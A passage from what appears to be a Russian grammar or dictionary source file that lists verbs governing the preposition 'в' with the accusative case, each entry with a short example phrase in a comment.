применения только в Российскую Федерацию (ИМПОРТИРОВАТЬ) rus_verbs:ОТЪЕХАТЬ{}, // Легкий грохот катков заглушил рог, когда дверь отъехала в сторону. (ОТЪЕХАТЬ) rus_verbs:ПОПЛЕСТИСЬ{}, // Подобрав нижнее белье, носки и ботинки, он поплелся по песку обратно в джунгли. (ПОПЛЕЛСЯ) rus_verbs:СЖАТЬСЯ{}, // Желудок у него сжался в кулак. (СЖАТЬСЯ, СЖИМАТЬСЯ) rus_verbs:СЖИМАТЬСЯ{}, rus_verbs:проверять{}, // Школьников будут принудительно проверять на курение rus_verbs:ПОТЯНУТЬ{}, // Я потянул его в кино (ПОТЯНУТЬ) rus_verbs:ПЕРЕВЕСТИ{}, // Премьер-министр Казахстана поручил до конца года перевести все социально-значимые услуги в электронный вид (ПЕРЕВЕСТИ) rus_verbs:КРАСИТЬ{}, // Почему китайские партийные боссы красят волосы в черный цвет? (КРАСИТЬ/ПОКРАСИТЬ/ПЕРЕКРАСИТЬ/ОКРАСИТЬ/ЗАКРАСИТЬ) rus_verbs:ПОКРАСИТЬ{}, // rus_verbs:ПЕРЕКРАСИТЬ{}, // rus_verbs:ОКРАСИТЬ{}, // rus_verbs:ЗАКРАСИТЬ{}, // rus_verbs:СООБЩИТЬ{}, // Мужчина ранил человека в щеку и сам сообщил об этом в полицию (СООБЩИТЬ) rus_verbs:СТЯГИВАТЬ{}, // Но толщина пузыря постоянно меняется из-за гравитации, которая стягивает жидкость в нижнюю часть (СТЯГИВАТЬ/СТЯНУТЬ/ЗАТЯНУТЬ/ВТЯНУТЬ) rus_verbs:СТЯНУТЬ{}, // rus_verbs:ЗАТЯНУТЬ{}, // rus_verbs:ВТЯНУТЬ{}, // rus_verbs:СОХРАНИТЬ{}, // сохранить данные в файл (СОХРАНИТЬ) деепричастие:придя{}, // Немного придя в себя rus_verbs:наблюдать{}, // Судья , долго наблюдавший в трубу , вдруг вскричал rus_verbs:УЛЫБАТЬСЯ{}, // она улыбалась во весь рот (УЛЫБАТЬСЯ) rus_verbs:МЕТНУТЬСЯ{}, // она метнулась обратно во тьму (МЕТНУТЬСЯ) rus_verbs:ПОСЛЕДОВАТЬ{}, // большинство жителей города последовало за ним во дворец (ПОСЛЕДОВАТЬ) rus_verbs:ПЕРЕМЕЩАТЬСЯ{}, // экстремисты перемещаются из лесов в Сеть (ПЕРЕМЕЩАТЬСЯ) rus_verbs:ВЫТАЩИТЬ{}, // Алексей позволил вытащить себя через дверь во тьму (ВЫТАЩИТЬ) rus_verbs:СЫПАТЬСЯ{}, // внизу под ними камни градом сыпались во двор (СЫПАТЬСЯ) rus_verbs:выезжать{}, // заключенные сами шьют куклы и иногда выезжают с представлениями в детский дом неподалеку rus_verbs:КРИЧАТЬ{}, // ей хотелось кричать во весь голос (КРИЧАТЬ В вин) rus_verbs:ВЫПРЯМИТЬСЯ{}, // волк выпрямился во весь огромный рост (ВЫПРЯМИТЬСЯ В вин) rus_verbs:спрятать{}, // Джон спрятал очки во внутренний карман (спрятать в вин) rus_verbs:ЭКСТРАДИРОВАТЬ{}, // Украина экстрадирует в Таджикистан задержанного бывшего премьер-министра (ЭКСТРАДИРОВАТЬ В вин) rus_verbs:ВВОЗИТЬ{}, // лабораторный мониторинг ввозимой в Россию мясной продукции из США (ВВОЗИТЬ В вин) rus_verbs:УПАКОВАТЬ{}, // упакованных в несколько слоев полиэтилена (УПАКОВАТЬ В вин) rus_verbs:ОТТЯГИВАТЬ{}, // использовать естественную силу гравитации, оттягивая объекты в сторону и изменяя их орбиту (ОТТЯГИВАТЬ В вин) rus_verbs:ПОЗВОНИТЬ{}, // они позвонили в отдел экологии городской администрации (ПОЗВОНИТЬ В) rus_verbs:ПРИВЛЕЧЬ{}, // Открытость данных о лесе поможет привлечь инвестиции в отрасль (ПРИВЛЕЧЬ В) rus_verbs:ЗАПРОСИТЬСЯ{}, // набегавшись и наплясавшись, Стасик утомился и запросился в кроватку (ЗАПРОСИТЬСЯ В) rus_verbs:ОТСТАВИТЬ{}, // бутыль с ацетоном Витька отставил в сторонку (ОТСТАВИТЬ В) rus_verbs:ИСПОЛЬЗОВАТЬ{}, // ты использовал свою магию во зло. (ИСПОЛЬЗОВАТЬ В вин) rus_verbs:ВЫСЕВАТЬ{}, // В апреле редис возможно уже высевать в грунт (ВЫСЕВАТЬ В) rus_verbs:ЗАГНАТЬ{}, // Американский психолог загнал любовь в три угла (ЗАГНАТЬ В) rus_verbs:ЭВОЛЮЦИОНИРОВАТЬ{}, // Почему не все обезьяны эволюционировали в человека? (ЭВОЛЮЦИОНИРОВАТЬ В вин) rus_verbs:СФОТОГРАФИРОВАТЬСЯ{}, // Он сфотографировался во весь рост. (СФОТОГРАФИРОВАТЬСЯ В) rus_verbs:СТАВИТЬ{}, // Он ставит мне в упрёк свою ошибку. (СТАВИТЬ В) rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА) rus_verbs:ПЕРЕСЕЛЯТЬСЯ{}, // Греки переселяются в Германию (ПЕРЕСЕЛЯТЬСЯ В) rus_verbs:ФОРМИРОВАТЬСЯ{}, // Сахарная свекла относится к двулетним растениям, мясистый корнеплод формируется в первый год. (ФОРМИРОВАТЬСЯ В) rus_verbs:ПРОВОРЧАТЬ{}, // дедуля что-то проворчал в ответ (ПРОВОРЧАТЬ В) rus_verbs:БУРКНУТЬ{}, // нелюдимый парень что-то буркнул в ответ (БУРКНУТЬ В) rus_verbs:ВЕСТИ{}, // дверь вела во тьму. (ВЕСТИ В) rus_verbs:ВЫСКОЧИТЬ{}, // беглецы выскочили во двор. (ВЫСКОЧИТЬ В) rus_verbs:ДОСЫЛАТЬ{}, // Одним движением стрелок досылает патрон в ствол (ДОСЫЛАТЬ В) rus_verbs:СЪЕХАТЬСЯ{}, // Финалисты съехались на свои игры в Лос-Анжелес. (СЪЕХАТЬСЯ НА, В) rus_verbs:ВЫТЯНУТЬ{}, // Дым вытянуло в трубу. (ВЫТЯНУТЬ В) rus_verbs:торчать{}, // острые обломки бревен торчали во все стороны. rus_verbs:ОГЛЯДЫВАТЬ{}, // Она оглядывает себя в зеркало. (ОГЛЯДЫВАТЬ В) rus_verbs:ДЕЙСТВОВАТЬ{}, // Этот пакет законов действует в ущерб частным предпринимателям. rus_verbs:РАЗЛЕТЕТЬСЯ{}, // люди разлетелись во все стороны. (РАЗЛЕТЕТЬСЯ В) rus_verbs:брызнуть{}, // во все стороны брызнула кровь. (брызнуть в) rus_verbs:ТЯНУТЬСЯ{}, // провода тянулись во все углы. (ТЯНУТЬСЯ В) rus_verbs:валить{}, // валить все в одну кучу (валить в) rus_verbs:выдвинуть{}, // его выдвинули в палату представителей (выдвинуть в) rus_verbs:карабкаться{}, // карабкаться в гору (карабкаться в) rus_verbs:клониться{}, // он клонился в сторону (клониться в) rus_verbs:командировать{}, // мы командировали нашего представителя в Рим (командировать в) rus_verbs:запасть{}, // Эти слова запали мне в душу. rus_verbs:давать{}, // В этой лавке дают в долг? rus_verbs:ездить{}, // Каждый день грузовик ездит в город. rus_verbs:претвориться{}, // Замысел претворился в жизнь. rus_verbs:разойтись{}, // Они разошлись в разные стороны. rus_verbs:выйти{}, // Охотник вышел в поле с ружьём. rus_verbs:отозвать{}, // Отзовите его в сторону и скажите ему об этом. rus_verbs:расходиться{}, // Маша и Петя расходятся в разные стороны rus_verbs:переодеваться{}, // переодеваться в женское платье rus_verbs:перерастать{}, // перерастать в массовые беспорядки rus_verbs:завязываться{}, // завязываться в узел rus_verbs:похватать{}, // похватать в руки rus_verbs:увлечь{}, // увлечь в прогулку по парку rus_verbs:помещать{}, // помещать в изолятор rus_verbs:зыркнуть{}, // зыркнуть в окошко rus_verbs:закатать{}, // закатать в асфальт rus_verbs:усаживаться{}, // усаживаться в кресло rus_verbs:загонять{}, // загонять в сарай rus_verbs:подбрасывать{}, // подбрасывать в воздух rus_verbs:телеграфировать{}, // телеграфировать в центр rus_verbs:вязать{}, // вязать в стопы rus_verbs:подлить{}, // подлить в огонь rus_verbs:заполучить{}, // заполучить в распоряжение rus_verbs:подогнать{}, // подогнать в док rus_verbs:ломиться{}, // ломиться в открытую дверь rus_verbs:переправить{}, // переправить в деревню rus_verbs:затягиваться{}, // затягиваться в трубу rus_verbs:разлетаться{}, // разлетаться в стороны rus_verbs:кланяться{}, // кланяться в ножки rus_verbs:устремляться{}, // устремляться в открытое море rus_verbs:переместиться{}, // переместиться в другую аудиторию rus_verbs:ложить{}, // ложить в ящик rus_verbs:отвозить{}, // отвозить в аэропорт rus_verbs:напрашиваться{}, // напрашиваться в гости rus_verbs:напроситься{}, // напроситься в гости rus_verbs:нагрянуть{}, // нагрянуть в гости rus_verbs:заворачивать{}, // заворачивать в фольгу rus_verbs:заковать{}, // заковать в кандалы rus_verbs:свезти{}, // свезти в сарай rus_verbs:притащиться{}, // притащиться в дом rus_verbs:завербовать{}, // завербовать в разведку rus_verbs:рубиться{}, // рубиться в компьютерные игры rus_verbs:тыкаться{}, // тыкаться в материнскую грудь инфинитив:ссыпать{ вид:несоверш }, инфинитив:ссыпать{ вид:соверш }, // ссыпать в контейнер глагол:ссыпать{ вид:несоверш }, глагол:ссыпать{ вид:соверш }, деепричастие:ссыпав{}, деепричастие:ссыпая{}, rus_verbs:засасывать{}, // засасывать в себя rus_verbs:скакнуть{}, // скакнуть в будущее rus_verbs:подвозить{}, // подвозить в театр rus_verbs:переиграть{}, // переиграть в покер rus_verbs:мобилизовать{}, // мобилизовать в действующую армию rus_verbs:залетать{}, // залетать в закрытое воздушное пространство rus_verbs:подышать{}, // подышать в трубочку rus_verbs:смотаться{}, // смотаться в институт rus_verbs:рассовать{}, // рассовать в кармашки rus_verbs:захаживать{}, // захаживать в дом инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять в ломбард деепричастие:сгоняя{}, rus_verbs:посылаться{}, // посылаться в порт rus_verbs:отлить{}, // отлить в кастрюлю rus_verbs:преобразоваться{}, // преобразоваться в линейное уравнение rus_verbs:поплакать{}, // поплакать в платочек rus_verbs:обуться{}, // обуться в сапоги rus_verbs:закапать{}, // закапать в глаза инфинитив:свозить{ вид:несоверш }, инфинитив:свозить{ вид:соверш }, // свозить в центр утилизации глагол:свозить{ вид:несоверш }, глагол:свозить{ вид:соверш }, деепричастие:свозив{}, деепричастие:свозя{}, rus_verbs:преобразовать{}, // преобразовать в линейное уравнение rus_verbs:кутаться{}, // кутаться в плед rus_verbs:смещаться{}, // смещаться в сторону rus_verbs:зазывать{}, // зазывать в свой магазин инфинитив:трансформироваться{ вид:несоверш }, инфинитив:трансформироваться{ вид:соверш }, // трансформироваться в комбинезон глагол:трансформироваться{ вид:несоверш }, глагол:трансформироваться{ вид:соверш }, деепричастие:трансформируясь{}, деепричастие:трансформировавшись{}, rus_verbs:погружать{}, // погружать в кипящее масло rus_verbs:обыграть{}, // обыграть в теннис rus_verbs:закутать{}, // закутать в одеяло rus_verbs:изливаться{}, // изливаться в воду rus_verbs:закатывать{}, // закатывать в асфальт rus_verbs:мотнуться{}, // мотнуться в банк rus_verbs:избираться{}, // избираться в сенат rus_verbs:наниматься{}, // наниматься в услужение rus_verbs:настучать{}, // настучать в органы rus_verbs:запихивать{}, // запихивать в печку rus_verbs:закапывать{}, // закапывать в нос rus_verbs:засобираться{}, // засобираться в поход rus_verbs:копировать{}, // копировать в другую папку rus_verbs:замуровать{}, // замуровать в стену rus_verbs:упечь{}, // упечь в тюрьму rus_verbs:зрить{}, // зрить в корень rus_verbs:стягиваться{}, // стягиваться в одну точку rus_verbs:усаживать{}, // усаживать в тренажер rus_verbs:протолкнуть{}, // протолкнуть в отверстие rus_verbs:расшибиться{}, // расшибиться в лепешку rus_verbs:приглашаться{}, // приглашаться в кабинет rus_verbs:садить{}, // садить в телегу rus_verbs:уткнуть{}, // уткнуть в подушку rus_verbs:протечь{}, // протечь в подвал rus_verbs:перегнать{}, // перегнать в другую страну rus_verbs:переползти{}, // переползти в тень rus_verbs:зарываться{}, // зарываться в грунт rus_verbs:переодеть{}, // переодеть в сухую одежду rus_verbs:припуститься{}, // припуститься в пляс rus_verbs:лопотать{}, // лопотать в микрофон rus_verbs:прогнусавить{}, // прогнусавить в микрофон rus_verbs:мочиться{}, // мочиться в штаны rus_verbs:загружать{}, // загружать в патронник rus_verbs:радировать{}, // радировать в центр rus_verbs:промотать{}, // промотать в конец rus_verbs:помчать{}, // помчать в школу rus_verbs:съезжать{}, // съезжать в кювет rus_verbs:завозить{}, // завозить в магазин rus_verbs:заявляться{}, // заявляться в школу rus_verbs:наглядеться{}, // наглядеться в зеркало rus_verbs:сворачиваться{}, // сворачиваться в клубочек rus_verbs:устремлять{}, // устремлять взор в будущее rus_verbs:забредать{}, // забредать в глухие уголки rus_verbs:перемотать{}, // перемотать в самое начало диалога rus_verbs:сморкаться{}, // сморкаться в носовой платочек rus_verbs:перетекать{}, // перетекать в другой сосуд rus_verbs:закачать{}, // закачать в шарик rus_verbs:запрятать{}, // запрятать в сейф rus_verbs:пинать{}, // пинать в живот rus_verbs:затрубить{}, // затрубить в горн rus_verbs:подглядывать{}, // подглядывать в замочную скважину инфинитив:подсыпать{ вид:соверш }, инфинитив:подсыпать{ вид:несоверш }, // подсыпать в питье глагол:подсыпать{ вид:соверш }, глагол:подсыпать{ вид:несоверш }, деепричастие:подсыпав{}, деепричастие:подсыпая{}, rus_verbs:засовывать{}, // засовывать в пенал rus_verbs:отрядить{}, // отрядить в командировку rus_verbs:справлять{}, // справлять в кусты rus_verbs:поторапливаться{}, // поторапливаться в самолет rus_verbs:скопировать{}, // скопировать в кэш rus_verbs:подливать{}, // подливать в огонь rus_verbs:запрячь{}, // запрячь в повозку rus_verbs:окраситься{}, // окраситься в пурпур rus_verbs:уколоть{}, // уколоть в шею rus_verbs:слететься{}, // слететься в гнездо rus_verbs:резаться{}, // резаться в карты rus_verbs:затесаться{}, // затесаться в ряды оппозиционеров инфинитив:задвигать{ вид:несоверш }, глагол:задвигать{ вид:несоверш }, // задвигать в ячейку (несоверш) деепричастие:задвигая{}, rus_verbs:доставляться{}, // доставляться в ресторан rus_verbs:поплевать{}, // поплевать в чашку rus_verbs:попереться{}, // попереться в магазин rus_verbs:хаживать{}, // хаживать в церковь rus_verbs:преображаться{}, // преображаться в королеву rus_verbs:организоваться{}, // организоваться в группу rus_verbs:ужалить{}, // ужалить в руку rus_verbs:протискиваться{}, // протискиваться в аудиторию rus_verbs:препроводить{}, // препроводить в закуток rus_verbs:разъезжаться{}, // разъезжаться в разные стороны rus_verbs:пропыхтеть{}, // пропыхтеть в трубку rus_verbs:уволочь{}, // уволочь в нору rus_verbs:отодвигаться{}, // отодвигаться в сторону rus_verbs:разливать{}, // разливать в стаканы rus_verbs:сбегаться{}, // сбегаться в актовый зал rus_verbs:наведаться{}, // наведаться в кладовку rus_verbs:перекочевать{}, // перекочевать в горы rus_verbs:прощебетать{}, // прощебетать в трубку rus_verbs:перекладывать{}, // перекладывать в другой карман rus_verbs:углубляться{}, // углубляться в теорию rus_verbs:переименовать{}, // переименовать в город rus_verbs:переметнуться{}, // переметнуться в лагерь противника rus_verbs:разносить{}, // разносить в щепки rus_verbs:осыпаться{}, // осыпаться в холода rus_verbs:попроситься{}, // попроситься в туалет rus_verbs:уязвить{}, // уязвить в сердце rus_verbs:перетащить{}, // перетащить в дом rus_verbs:закутаться{}, // закутаться в плед // rus_verbs:упаковать{}, // упаковать в бумагу инфинитив:тикать{ aux stress="тик^ать" }, глагол:тикать{ aux stress="тик^ать" }, // тикать в крепость rus_verbs:хихикать{}, // хихикать в кулачок rus_verbs:объединить{}, // объединить в сеть инфинитив:слетать{ вид:соверш }, глагол:слетать{ вид:соверш }, // слетать в Калифорнию деепричастие:слетав{}, rus_verbs:заползти{}, // заползти в норку rus_verbs:перерасти{}, // перерасти в крупную аферу rus_verbs:списать{}, // списать в утиль rus_verbs:просачиваться{}, // просачиваться в бункер rus_verbs:пускаться{}, // пускаться в погоню rus_verbs:согревать{}, // согревать в мороз rus_verbs:наливаться{}, // наливаться в емкость rus_verbs:унестись{}, // унестись в небо rus_verbs:зашвырнуть{}, // зашвырнуть в шкаф rus_verbs:сигануть{}, // сигануть в воду rus_verbs:окунуть{}, // окунуть в ледяную воду rus_verbs:просочиться{}, // просочиться в сапог rus_verbs:соваться{}, // соваться в толпу rus_verbs:протолкаться{}, // протолкаться в гардероб rus_verbs:заложить{}, // заложить в ломбард rus_verbs:перекатить{}, // перекатить в сарай rus_verbs:поставлять{}, // поставлять в Китай rus_verbs:залезать{}, // залезать в долги rus_verbs:отлучаться{}, // отлучаться в туалет rus_verbs:сбиваться{}, // сбиваться в кучу rus_verbs:зарыть{}, // зарыть в землю rus_verbs:засадить{}, // засадить в тело rus_verbs:прошмыгнуть{}, // прошмыгнуть в дверь rus_verbs:переставить{}, // переставить в шкаф rus_verbs:отчалить{}, // отчалить в плавание rus_verbs:набираться{}, // набираться в команду rus_verbs:лягнуть{}, // лягнуть в живот rus_verbs:притворить{}, // притворить в жизнь rus_verbs:проковылять{}, // проковылять в гардероб rus_verbs:прикатить{}, // прикатить в гараж rus_verbs:залететь{}, // залететь в окно rus_verbs:переделать{}, // переделать в мопед rus_verbs:протащить{}, // протащить в совет rus_verbs:обмакнуть{}, // обмакнуть в воду rus_verbs:отклоняться{}, // отклоняться в сторону rus_verbs:запихать{}, // запихать в пакет rus_verbs:избирать{}, // избирать в совет rus_verbs:загрузить{}, // загрузить в буфер rus_verbs:уплывать{}, // уплывать в Париж rus_verbs:забивать{}, // забивать в мерзлоту rus_verbs:потыкать{}, // потыкать в безжизненную тушу rus_verbs:съезжаться{}, // съезжаться в санаторий rus_verbs:залепить{}, // залепить в рыло rus_verbs:набиться{}, // набиться в карманы rus_verbs:уползти{}, // уползти в нору rus_verbs:упрятать{}, // упрятать в камеру rus_verbs:переместить{}, // переместить в камеру анабиоза rus_verbs:закрасться{}, // закрасться в душу rus_verbs:сместиться{}, // сместиться в инфракрасную область rus_verbs:запускать{}, // запускать в серию rus_verbs:потрусить{}, // потрусить в чащобу rus_verbs:забрасывать{}, // забрасывать в чистую воду rus_verbs:переселить{}, // переселить в отдаленную деревню rus_verbs:переезжать{}, // переезжать в новую квартиру rus_verbs:приподнимать{}, // приподнимать в воздух rus_verbs:добавиться{}, // добавиться в конец очереди rus_verbs:убыть{}, // убыть в часть rus_verbs:передвигать{}, // передвигать в соседнюю клетку rus_verbs:добавляться{}, // добавляться в очередь rus_verbs:дописать{}, // дописать в перечень rus_verbs:записываться{}, // записываться в кружок rus_verbs:продаться{}, // продаться в кредитное рабство rus_verbs:переписывать{}, // переписывать в тетрадку rus_verbs:заплыть{}, // заплыть в территориальные воды инфинитив:пописать{ aux stress="поп^исать" }, инфинитив:пописать{ aux stress="попис^ать" }, // пописать в горшок глагол:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="попис^ать" }, rus_verbs:отбирать{}, // отбирать в гвардию rus_verbs:нашептывать{}, // нашептывать в микрофон rus_verbs:ковылять{}, // ковылять в стойло rus_verbs:прилетать{}, // прилетать в Париж rus_verbs:пролиться{}, // пролиться в канализацию rus_verbs:запищать{}, // запищать в микрофон rus_verbs:подвезти{}, // подвезти в больницу rus_verbs:припереться{}, // припереться в театр rus_verbs:утечь{}, // утечь в сеть rus_verbs:прорываться{}, // прорываться в буфет rus_verbs:увозить{}, // увозить в ремонт rus_verbs:съедать{}, // съедать в обед rus_verbs:просунуться{}, // просунуться в дверь rus_verbs:перенестись{}, // перенестись в прошлое rus_verbs:завезти{}, // завезти в магазин rus_verbs:проложить{}, // проложить в деревню rus_verbs:объединяться{}, // объединяться в профсоюз rus_verbs:развиться{}, // развиться в бабочку rus_verbs:засеменить{}, // засеменить в кабинку rus_verbs:скатываться{}, // скатываться в яму rus_verbs:завозиться{}, // завозиться в магазин rus_verbs:нанимать{}, // нанимать в рейс rus_verbs:поспеть{}, // поспеть в класс rus_verbs:кидаться{}, // кинаться в крайности rus_verbs:поспевать{}, // поспевать в оперу rus_verbs:обернуть{}, // обернуть в фольгу rus_verbs:обратиться{}, // обратиться в прокуратуру rus_verbs:истолковать{}, // истолковать в свою пользу rus_verbs:таращиться{}, // таращиться в дисплей rus_verbs:прыснуть{}, // прыснуть в кулачок rus_verbs:загнуть{}, // загнуть в другую сторону rus_verbs:раздать{}, // раздать в разные руки rus_verbs:назначить{}, // назначить в приемную комиссию rus_verbs:кидать{}, // кидать в кусты rus_verbs:увлекать{}, // увлекать в лес rus_verbs:переселиться{}, // переселиться в чужое тело rus_verbs:присылать{}, // присылать в город rus_verbs:уплыть{}, // уплыть в Европу rus_verbs:запричитать{}, // запричитать в полный голос rus_verbs:утащить{}, // утащить в логово rus_verbs:завернуться{}, // завернуться в плед rus_verbs:заносить{}, // заносить в блокнот rus_verbs:пятиться{}, // пятиться в дом rus_verbs:наведываться{}, // наведываться в больницу rus_verbs:нырять{}, // нырять в прорубь rus_verbs:зачастить{}, // зачастить в бар rus_verbs:назначаться{}, // назначается в комиссию rus_verbs:мотаться{}, // мотаться в областной центр rus_verbs:разыграть{}, // разыграть в карты rus_verbs:пропищать{}, // пропищать в микрофон rus_verbs:пихнуть{}, // пихнуть в бок rus_verbs:эмигрировать{}, // эмигрировать в Канаду rus_verbs:подключить{}, // подключить в сеть rus_verbs:упереть{}, // упереть в фундамент rus_verbs:уплатить{}, // уплатить в кассу rus_verbs:потащиться{}, // потащиться в медпункт rus_verbs:пригнать{}, // пригнать в стойло rus_verbs:оттеснить{}, // оттеснить в фойе rus_verbs:стучаться{}, // стучаться в ворота rus_verbs:перечислить{}, // перечислить в фонд rus_verbs:сомкнуть{}, // сомкнуть в круг rus_verbs:закачаться{}, // закачаться в резервуар rus_verbs:кольнуть{}, // кольнуть в бок rus_verbs:накрениться{}, // накрениться в сторону берега rus_verbs:подвинуться{}, // подвинуться в другую сторону rus_verbs:разнести{}, // разнести в клочья rus_verbs:отливать{}, // отливать в форму rus_verbs:подкинуть{}, // подкинуть в карман rus_verbs:уводить{}, // уводить в кабинет rus_verbs:ускакать{}, // ускакать в школу rus_verbs:ударять{}, // ударять в барабаны rus_verbs:даться{}, // даться в руки rus_verbs:поцеловаться{}, // поцеловаться в губы rus_verbs:посветить{}, // посветить в подвал rus_verbs:тыкать{}, // тыкать в арбуз rus_verbs:соединяться{}, // соединяться в кольцо rus_verbs:растянуть{}, // растянуть в тонкую ниточку rus_verbs:побросать{}, // побросать в пыль rus_verbs:стукнуться{}, // стукнуться в закрытую дверь rus_verbs:проигрывать{}, // проигрывать в теннис rus_verbs:дунуть{}, // дунуть в трубочку rus_verbs:улетать{}, // улетать в Париж rus_verbs:переводиться{}, // переводиться в филиал rus_verbs:окунуться{}, // окунуться в водоворот событий rus_verbs:попрятаться{}, // попрятаться в норы rus_verbs:перевезти{}, // перевезти в соседнюю палату rus_verbs:топать{}, // топать в школу rus_verbs:относить{}, // относить в помещение rus_verbs:укладывать{}, // укладывать в стопку rus_verbs:укатить{}, // укатил в турне rus_verbs:убирать{}, // убирать в сумку rus_verbs:помалкивать{}, // помалкивать в тряпочку rus_verbs:ронять{}, // ронять в грязь rus_verbs:глазеть{}, // глазеть в бинокль rus_verbs:преобразиться{}, // преобразиться в другого человека rus_verbs:запрыгнуть{}, // запрыгнуть в поезд rus_verbs:сгодиться{}, // сгодиться в суп rus_verbs:проползти{}, // проползти в нору rus_verbs:забираться{}, // забираться в коляску rus_verbs:сбежаться{}, // сбежались в класс rus_verbs:закатиться{}, // закатиться в угол rus_verbs:плевать{}, // плевать в душу rus_verbs:поиграть{}, // поиграть в демократию rus_verbs:кануть{}, // кануть в небытие rus_verbs:опаздывать{}, // опаздывать в школу rus_verbs:отползти{}, // отползти в сторону rus_verbs:стекаться{}, // стекаться в отстойник rus_verbs:запихнуть{}, // запихнуть в пакет rus_verbs:вышвырнуть{}, // вышвырнуть в коридор rus_verbs:связываться{}, // связываться в плотный узел rus_verbs:затолкать{}, // затолкать в ухо rus_verbs:скрутить{}, // скрутить в трубочку rus_verbs:сворачивать{}, // сворачивать в трубочку rus_verbs:сплестись{}, // сплестись в узел rus_verbs:заскочить{}, // заскочить в кабинет rus_verbs:проваливаться{}, // проваливаться в сон rus_verbs:уверовать{}, // уверовать в свою безнаказанность rus_verbs:переписать{}, // переписать в тетрадку rus_verbs:переноситься{}, // переноситься в мир фантазий rus_verbs:заводить{}, // заводить в помещение rus_verbs:сунуться{}, // сунуться в аудиторию rus_verbs:устраиваться{}, // устраиваться в автомастерскую rus_verbs:пропускать{}, // пропускать в зал инфинитив:сбегать{ вид:несоверш }, инфинитив:сбегать{ вид:соверш }, // сбегать в кино глагол:сбегать{ вид:несоверш }, глагол:сбегать{ вид:соверш }, деепричастие:сбегая{}, деепричастие:сбегав{}, rus_verbs:прибегать{}, // прибегать в школу rus_verbs:съездить{}, // съездить в лес rus_verbs:захлопать{}, // захлопать в ладошки rus_verbs:опрокинуться{}, // опрокинуться в грязь инфинитив:насыпать{ вид:несоверш }, инфинитив:насыпать{ вид:соверш }, // насыпать в стакан глагол:насыпать{ вид:несоверш }, глагол:насыпать{ вид:соверш }, деепричастие:насыпая{}, деепричастие:насыпав{}, rus_verbs:употреблять{}, // употреблять в пищу rus_verbs:приводиться{}, // приводиться в действие rus_verbs:пристроить{}, // пристроить в надежные руки rus_verbs:юркнуть{}, // юркнуть в нору rus_verbs:объединиться{}, // объединиться в банду rus_verbs:сажать{}, // сажать в одиночку rus_verbs:соединить{}, // соединить в кольцо rus_verbs:забрести{}, // забрести в кафешку rus_verbs:свернуться{}, // свернуться в клубочек rus_verbs:пересесть{}, // пересесть в другой автобус rus_verbs:постучаться{}, // постучаться в дверцу rus_verbs:соединять{}, // соединять в кольцо rus_verbs:приволочь{}, // приволочь в коморку rus_verbs:смахивать{}, // смахивать в ящик стола rus_verbs:забежать{}, // забежать в помещение rus_verbs:целиться{}, // целиться в беглеца rus_verbs:прокрасться{}, // прокрасться в хранилище rus_verbs:заковылять{}, // заковылять в травтамологию rus_verbs:прискакать{}, // прискакать в стойло rus_verbs:колотить{}, // колотить в дверь rus_verbs:смотреться{}, // смотреться в зеркало rus_verbs:подложить{}, // подложить в салон rus_verbs:пущать{}, // пущать в королевские покои rus_verbs:согнуть{}, // согнуть в дугу rus_verbs:забарабанить{}, // забарабанить в дверь rus_verbs:отклонить{}, // отклонить в сторону посадочной полосы rus_verbs:убраться{}, // убраться в специальную нишу rus_verbs:насмотреться{}, // насмотреться в зеркало rus_verbs:чмокнуть{}, // чмокнуть в щечку rus_verbs:усмехаться{}, // усмехаться в бороду rus_verbs:передвинуть{}, // передвинуть в конец очереди rus_verbs:допускаться{}, // допускаться в опочивальню rus_verbs:задвинуть{}, // задвинуть в дальний угол rus_verbs:отправлять{}, // отправлять в центр rus_verbs:сбрасывать{}, // сбрасывать в жерло rus_verbs:расстреливать{}, // расстреливать в момент обнаружения rus_verbs:заволочь{}, // заволочь в закуток rus_verbs:пролить{}, // пролить в воду rus_verbs:зарыться{}, // зарыться в сено rus_verbs:переливаться{}, // переливаться в емкость rus_verbs:затащить{}, // затащить в клуб rus_verbs:перебежать{}, // перебежать в лагерь врагов rus_verbs:одеть{}, // одеть в новое платье инфинитив:задвигаться{ вид:несоверш }, глагол:задвигаться{ вид:несоверш }, // задвигаться в нишу деепричастие:задвигаясь{}, rus_verbs:клюнуть{}, // клюнуть в темечко rus_verbs:наливать{}, // наливать в кружку rus_verbs:пролезть{}, // пролезть в ушко rus_verbs:откладывать{}, // откладывать в ящик rus_verbs:протянуться{}, // протянуться в соседний дом rus_verbs:шлепнуться{}, // шлепнуться лицом в грязь rus_verbs:устанавливать{}, // устанавливать в машину rus_verbs:употребляться{}, // употребляться в пищу rus_verbs:переключиться{}, // переключиться в реверсный режим rus_verbs:пискнуть{}, // пискнуть в микрофон rus_verbs:заявиться{}, // заявиться в класс rus_verbs:налиться{}, // налиться в стакан rus_verbs:заливать{}, // заливать в бак rus_verbs:ставиться{}, // ставиться в очередь инфинитив:писаться{ aux stress="п^исаться" }, глагол:писаться{ aux stress="п^исаться" }, // писаться в штаны деепричастие:писаясь{}, rus_verbs:целоваться{}, // целоваться в губы rus_verbs:наносить{}, // наносить в область сердца rus_verbs:посмеяться{}, // посмеяться в кулачок rus_verbs:употребить{}, // употребить в пищу rus_verbs:прорваться{}, // прорваться в столовую rus_verbs:укладываться{}, // укладываться в ровные стопки rus_verbs:пробиться{}, // пробиться в финал rus_verbs:забить{}, // забить в землю rus_verbs:переложить{}, // переложить в другой карман rus_verbs:опускать{}, // опускать в свежевырытую могилу rus_verbs:поторопиться{}, // поторопиться в школу rus_verbs:сдвинуться{}, // сдвинуться в сторону rus_verbs:капать{}, // капать в смесь rus_verbs:погружаться{}, // погружаться во тьму rus_verbs:направлять{}, // направлять в кабинку rus_verbs:погрузить{}, // погрузить во тьму rus_verbs:примчаться{}, // примчаться в школу rus_verbs:упираться{}, // упираться в дверь rus_verbs:удаляться{}, // удаляться в комнату совещаний rus_verbs:ткнуться{}, // ткнуться в окошко rus_verbs:убегать{}, // убегать в чащу rus_verbs:соединиться{}, // соединиться в необычную пространственную фигуру rus_verbs:наговорить{}, // наговорить в микрофон rus_verbs:переносить{}, // переносить в дом rus_verbs:прилечь{}, // прилечь в кроватку rus_verbs:поворачивать{}, // поворачивать в обратную сторону rus_verbs:проскочить{}, // проскочить в щель rus_verbs:совать{}, // совать в духовку rus_verbs:переодеться{}, // переодеться в чистую одежду rus_verbs:порвать{}, // порвать в лоскуты rus_verbs:завязать{}, // завязать в бараний рог 